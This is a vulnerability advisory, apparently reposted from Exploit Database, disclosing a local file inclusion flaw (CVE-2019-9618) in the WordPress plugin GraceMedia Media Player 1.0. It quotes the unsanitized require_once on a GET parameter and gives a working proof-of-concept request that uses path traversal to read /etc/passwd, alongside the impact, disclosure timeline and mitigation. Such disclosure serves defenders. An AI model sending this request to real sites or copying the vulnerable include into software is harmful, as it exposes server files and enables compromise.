WordPress Plugin GraceMedia Media Player 1.0 – Local File Inclusion

• Exploit Database
• 35 阅读

• 作者： Manuel García Cárdenas
  日期： 2019-03-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/46537/

• =============================================
  MGC ALERT 2019-001
  - Original release date: February 06, 2019
  - Last revised:March 13, 2019
  - Discovered by: Manuel García Cárdenas
  - Severity: 7/10 (CVSS Base Score)
  - CVE-ID: CVE-2019-9618
  =============================================
  
  I. VULNERABILITY
  -------------------------
  WordPress Plugin GraceMedia Media Player 1.0 - Local File Inclusion
  
  II. BACKGROUND
  -------------------------
  Hassle-free and user-friendly way to add a Media player directly to your
  website.
  
  III. DESCRIPTION
  -------------------------
  This bug was found in the file:
  
  /gracemedia-media-player/templates/files/ajax_controller.php
  
  Vulnerable code:
  
  require_once($_GET['cfg']);
  
  The parameter "cfg" it is not sanitized allowing include local files
  
  To exploit the vulnerability only is needed use the version 1.0 of the HTTP
  protocol to interact with the application.
  
  IV. PROOF OF CONCEPT
  -------------------------
  The following URL have been confirmed that is vulnerable to local file
  inclusion.
  
  Local File Inclusion POC:
  
  GET
  /wordpress/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd
  
  V. BUSINESS IMPACT
  -------------------------
  Public defacement, confidential data leakage, and database server
  compromise can result from these attacks. Client systems can also be
  targeted, and complete compromise of these client systems is also possible.
  
  VI. SYSTEMS AFFECTED
  -------------------------
  GraceMedia Media Player <= 1.0
  
  VII. SOLUTION
  -------------------------
  Disable plugin until a fix is available, vendor does not fix after 2
  requests.
  
  VIII. REFERENCES
  -------------------------
  https://es.wordpress.org/plugins/gracemedia-media-player/
  
  IX. CREDITS
  -------------------------
  This vulnerability has been discovered and reported
  by Manuel García Cárdenas (advidsec (at) gmail (dot) com).
  
  X. REVISION HISTORY
  -------------------------
  February 06, 2019 1: Initial release
  March 13, 2019 2: Revision to send to lists
  
  XI. DISCLOSURE TIMELINE
  -------------------------
  February 06, 2019 1: Vulnerability acquired by Manuel Garcia Cardenas
  February 06, 2019 2: Email to vendor without response
  February 21, 2019 3: Second email to vendor without response
  March 13, 2019 4: Send to the Full-Disclosure lists
  
  XII. LEGAL NOTICES
  -------------------------
  The information contained within this advisory is supplied "as-is" with no
  warranties or guarantees of fitness of use or otherwise.
  
  XIII. ABOUT
  -------------------------
  Manuel Garcia Cardenas
  Pentester